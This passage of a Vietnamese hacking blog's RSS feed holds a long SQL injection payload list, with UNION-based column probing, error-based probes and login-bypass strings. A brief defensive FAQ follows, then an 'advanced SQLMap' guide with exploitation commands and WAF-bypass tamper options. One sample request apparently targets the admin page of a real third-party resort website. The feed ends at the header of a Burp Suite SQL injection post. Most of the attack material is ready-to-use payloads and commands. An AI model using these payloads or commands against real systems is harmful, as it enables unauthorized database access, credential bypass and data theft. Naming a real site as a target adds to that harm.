 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
 UNION ALL SELECT NULL 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
 AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
 AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
 AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
 UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#</pre>
<h2>Các Payload SQL Injection Bypass</h2>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">'-'
' '
'&amp;'
'^'
'*'
' or ''-'
' or '' '
' or ''&amp;'
' or ''^'
' or ''*'
"-"
" "
"&amp;"
"^"
"*"
" or ""-"
" or "" "
" or ""&amp;"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055</pre>
<h2>Câu hỏi thường gặp</h2>
<h3>SQL injection là gì và tại sao nó nguy hiểm?</h3>
<p>SQL injection là một lỗ hổng bảo mật cho phép kẻ tấn công chèn mã SQL độc hại vào các truy vấn cơ sở dữ liệu của ứng dụng web. Điều này có thể dẫn đến việc truy cập trái phép, sửa đổi hoặc xóa dữ liệu nhạy cảm, thậm chí kiểm soát toàn bộ hệ thống.</p>
<h3>Tôi có thể làm gì để bảo vệ ứng dụng web của mình khỏi SQL injection?</h3>
<p>Hãy sử dụng các kỹ thuật lập trình an toàn như chuẩn bị câu lệnh (prepared statements) hoặc sử dụng thư viện ORM, thường xuyên cập nhật phần mềm và áp dụng các biện pháp phòng ngừa khác như đầu vào được xác thực và mã hóa đầu ra.</p>
<h3>Có những công cụ nào giúp phát hiện và ngăn chặn SQL injection?</h3>
<p>Có nhiều công cụ như SQLMap, jSQL Injection, BBQSQL và các công cụ quét lỗ hổng khác có thể giúp phát hiện SQL injection. Ngoài ra, việc sử dụng tường lửa ứng dụng web (WAF) cũng rất hiệu quả trong việc ngăn chặn các cuộc tấn công này.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/danh-sach-payload-sql-injection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cách sử dụng SQLMap nâng cao</title>
		<link>https://anonyviet.com/cach-su-dung-sqlmap-nang-cao/</link>
					<comments>https://anonyviet.com/cach-su-dung-sqlmap-nang-cao/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 01 May 2023 00:00:16 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[sqlmap]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=46365</guid>

					<description><![CDATA[SQLMap là phần mềm giúp khai thác SQL Injection tự động giúp bạn tiết kiệm thời gian hơn so với khai thác thủ công. Mình đã có hướng dẫn cách sử dụng SQLMap cơ bản, tuy nhiên SQLMap vẫn còn các thông số nâng cao giúp bạn tiết kiệm thời gian khai thác và tăng [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>SQLMap là phần mềm giúp khai thác SQL Injection tự động giúp bạn tiết kiệm thời gian hơn so với khai thác thủ công. Mình đã có hướng dẫn cách <a href="https://anonyviet.com/huong-dan-su-dung-sqlmap/">sử dụng SQLMap cơ bản</a>, tuy nhiên SQLMap vẫn còn các thông số nâng cao giúp bạn tiết kiệm thời gian khai thác và tăng hiệu quả khai thác hơn. Dưới đây là một số kỹ thuật sử dụng SQLMap nâng cao để bạn khai thác lỗi SQL Injection.</p>
<h2>Cách sử dụng SQLMap nâng cao</h2>
<p>Mình sẽ nói sơ qua về cách cài đặt và sử dụng SQLMap trước:</p>
<ul>
<li><a href="https://sqlmap.org/" target="_blank" rel="noopener">Download SQLMap </a></li>
<li><a href="https://www.python.org/downloads/" target="_blank" rel="noopener">Download Python</a></li>
</ul>
<p><em>S</em><em>ử</em><em> d</em><em>ụ</em><em>ng </em><em><code>--batch </code></em><em>đ</em><em>ể</em><em> SQLMap chạy tự động và bỏ qua câu hỏi yes/no</em></p>
<p><em>S</em><em>ử</em><em> d</em><em>ụ</em><em>ng </em><em><strong><code>*</code></strong>xác định vị trí cần Injection</em></p>
<p><em>S</em><em>ử</em><em> d</em><em>ụ</em><em>ng <code>--string="String_in_the_response"</code> đ</em><em>ể biết chuỗi nào đã được Injection thành công</em><strong><em> (True)</em></strong><em> </em></p>
<pre class="iw ix iy iz ek tl tk tm bn tn to bi"><span id="6aa2" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># SCAN SQL BẰNG ĐƯỜNG DẪN CỤ THỂ VÀ INJECT VÀ THAM SỐ q</span>
sqlmap -u <span class="hljs-string">"https://anonyviet.com/s.php?q=test"</span> -p <span class="hljs-string">"q"</span></span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="3dbf" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># SCAN BẰNG REQUEST (CÓ THỂ BẮT REQUEST BẰNG BURPSUITE CHO TIỆN)</span>
sqlmap -r request.txt</span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="50a3" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># SCAN NHIỀU URL CÙNG LÚC</span>
sqlmap -m urls.txt</span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="3f58" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># SCAN HEADER VÀ ĐƯỜNG DẪN (*)</span>
sqlmap -u <span class="hljs-string">"http://afine.com/user/*"</span> -H <span class="hljs-string">"User-agent: *"</span></span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="0ce7" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># SECOND ORDER</span>
sqlmap -r request.txt --second-order <span class="hljs-string">"http://afine.com/avatar"</span></span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="8c36" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># ALL-AROUND OPTIONS</span>
<span class="hljs-comment">## RANDOM USER AGENT ĐỂ BYPASS WAF</span>
--random-agent
<span class="hljs-comment">## TỰ ĐỘNG TRẢ LỜI CÁC CÂU HỎI YES/NO</span>
--batch
<span class="hljs-comment">## KIỂM TRA SÂU</span>
--risk=3 --level=5</span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="29c0" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># CUSTOMIZATION &amp; DEBUGGING</span>
<span class="hljs-comment">## PROXY TO BURP</span>
--proxy=http://127.0.0.1:8080
<span class="hljs-comment">## SILENCE | VERBOSE MODE</span>
-v 0
-v 4
<span class="hljs-comment">## XUẤT KẾT QUẢ RA THƯ MỤC CHỈ ĐỊNH</span>
--output-dir=sqlmap
<span class="hljs-comment">## ADD PREFIX</span>
--prefix <span class="hljs-string">"this_string_must_be_before_injection"</span>
<span class="hljs-comment">## ADD SUFFIX</span>
--suffix <span class="hljs-string">"--this_string_must_be_at_the_end_of_injection"</span>
<span class="hljs-comment">## MODIFY PAYLOAD DÙNG EVAL (example swap " " with "%20" for q parameter)</span>
sqlmap -u <span class="hljs-string">"https://afine.com/s.php?q=1"</span> -p <span class="hljs-string">'q'</span> --<span class="hljs-built_in">eval</span>=<span class="hljs-string">'q=q.replace(" ","%20")'</span>
<span class="hljs-comment">## MODIFY PAYLOAD BẰNG SCRIPTS =&gt; https://github.com/sqlmapproject/sqlmap/tree/master/tamper</span>
--tamper=<span class="hljs-string">"PATH_OR_NAME_OF_TAMPER_SCRIPT"</span>
<span class="hljs-comment">## THAY ĐỔI HEADERS TÙY CHỈNH (Authorization)</span>
-H <span class="hljs-string">"Auth_header: secret1"</span> -H <span class="hljs-string">"Cookie: auth2=secret2"</span></span></pre>
<pre class="po tl tk tm bn tn to bi"><span id="7b91" class="tp ji ha tk b be tq tr l ts tt" data-selectable-paragraph=""><span class="hljs-comment"># LỆNH SQLMAP THƯỜNG ĐƯỢC SỬ DỤNG VÀ HIỆU QUẢ NHẤT</span>
python sqlmap.py -r request.txt --random-agent --tamper=space2comment --time-sec=20 --level=5 --risk=3 --dbs --batch
</span></pre>
<p>Request dạng POST: Inject vào Username, thì điền dấu * vào username=</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">POST //index.php?module=user&amp;function=login HTTP/1.1
Host: anonyviet.com

username=*&amp;password=1</pre>
<p>Lưu file thành request.txt và đặt chung thư mục sqlmap</p>
<p>Request dạng GET:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">GET /admin/index.php?option=tin-sua&amp;tin_id=1
Host: phanthiet.terracottaresort.com</pre>
<p>Lưu file thành request.txt và đặt chung thư mục sqlmap</p>
<h2>Dùng Burp Suite Pro Extension</h2>
<p>Tải Burp Suite Pro <a href="https://anonyviet.com/huong-dan-active-burp-suite-pro-moi-nhat/">ở đây</a></p>
<ul>
<li><a href="https://portswigger.net/bappstore/56675bcf2a804d3096465b2868ec1d65" target="_blank" rel="noopener">Request Timer</a> &#8211; Bắt các gói tin phản hồi theo thời gian (thích hợp với blind sql injection).</li>
</ul>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/04/Request-Timer-burp-suite.png" alt="Request Timer burp suite" width="1052" height="192" title="Cách sử dụng SQLMap nâng cao 7"></p>
<ul>
<li><a href="https://burpbounty.net/" target="_blank" rel="noopener">Burp Bounty Pro</a>: tự động tìm kiếm lỗ hổng bảo mật bằng Burp Suite Pro (bạn nào cần Extension này thì comment bên dưới mình sẽ gửi riêng)</li>
</ul>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/04/Burp-Bounty-Pro.jpg" alt="Burp Bounty Pro" width="1043" height="439" title="Cách sử dụng SQLMap nâng cao 8"></p>
<ul>
<li><a href="https://portswigger.net/bappstore/f154175126a04bfe8edc6056f340f52e" target="_blank" rel="noopener">SQLiPy Sqlmap Integration</a> &#8211; Giao diện SQLMap trên Burp Suite</li>
</ul>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/04/sqlmap-burp-suite.png" alt="sqlmap burp suite" width="745" height="363" title="Cách sử dụng SQLMap nâng cao 9"></p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/04/SQLiPy-Sqlmap-Integration-bup-suite.png" alt="SQLiPy Sqlmap Integration bup suite" width="743" height="658" title="Cách sử dụng SQLMap nâng cao 10"></p>
<p>Bất kỳ SQLI nào được tìm thấy bởi SQLiPy sẽ được thêm vào <strong>tab Results</strong> của Burp Suite.</p>
<h2>Payload SQL Injection</h2>
<p>Tổng hợp các Payload để test SQL Injection có tại đây: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection" target="_blank" rel="noopener">PayloadsAllTheThings</a>.</p>
<ul>
<li><a href="https://github.com/Karmaz95/crimson/blob/master/words/exp/SQLI_output" target="_blank" rel="noopener">SQLI_output</a> &#8211; Error|UNION|Bolean based detection.</li>
<li><a href="https://github.com/Karmaz95/crimson/blob/master/words/exp/SQLI_sleep" target="_blank" rel="noopener">SQLI_sleep</a> &#8211; Time-based detection.</li>
<li><a href="https://github.com/Karmaz95/crimson/blob/master/words/exp/SQLI_oob" target="_blank" rel="noopener">SQLI_oob</a> &#8211; Out-of-bound detection.</li>
</ul>
<p>SQLMap CheatSheel tải ở đây:<a href="https://github.com/anonyvietofficial/sqlmap-cheatsheet" target="_blank" rel="noopener"> https://github.com/anonyvietofficial/sqlmap-cheatsheet</a></p>
<h2>Câu hỏi thường gặp</h2>
<h3>SQLMap là gì và tại sao tôi nên sử dụng nó?</h3>
<p>SQLMap là một công cụ tự động hóa việc khai thác lỗ hổng SQL Injection.  Nó giúp tiết kiệm thời gian và tăng hiệu quả so với khai thác thủ công.</p>
<h3>Tôi có thể sử dụng SQLMap để kiểm tra nhiều URL cùng lúc không?</h3>
<p>Có, bạn có thể sử dụng tùy chọn <code>-m urls.txt</code>, trong đó <code>urls.txt</code> là một file chứa danh sách các URL cần kiểm tra, mỗi URL trên một dòng.</p>
<h3>Làm thế nào để tôi sử dụng SQLMap với Burp Suite?</h3>
<p>Bạn có thể sử dụng extension SQLiPy Sqlmap Integration để tích hợp SQLMap vào Burp Suite, cho phép bạn dễ dàng khai thác các lỗ hổng SQL Injection được tìm thấy trong Burp Suite.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-su-dung-sqlmap-nang-cao/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Cách dùng Burp Suite khai thác SQL Injection</title>
		<link>https://anonyviet.com/cach-dung-burp-suite-khai-thac-sql-injection/</link>
					<comments>https://anonyviet.com/cach-dung-burp-suite-khai-thac-sql-injection/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Sat, 05 Nov 2022 00:07:10 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Burp Suite]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42788</guid>

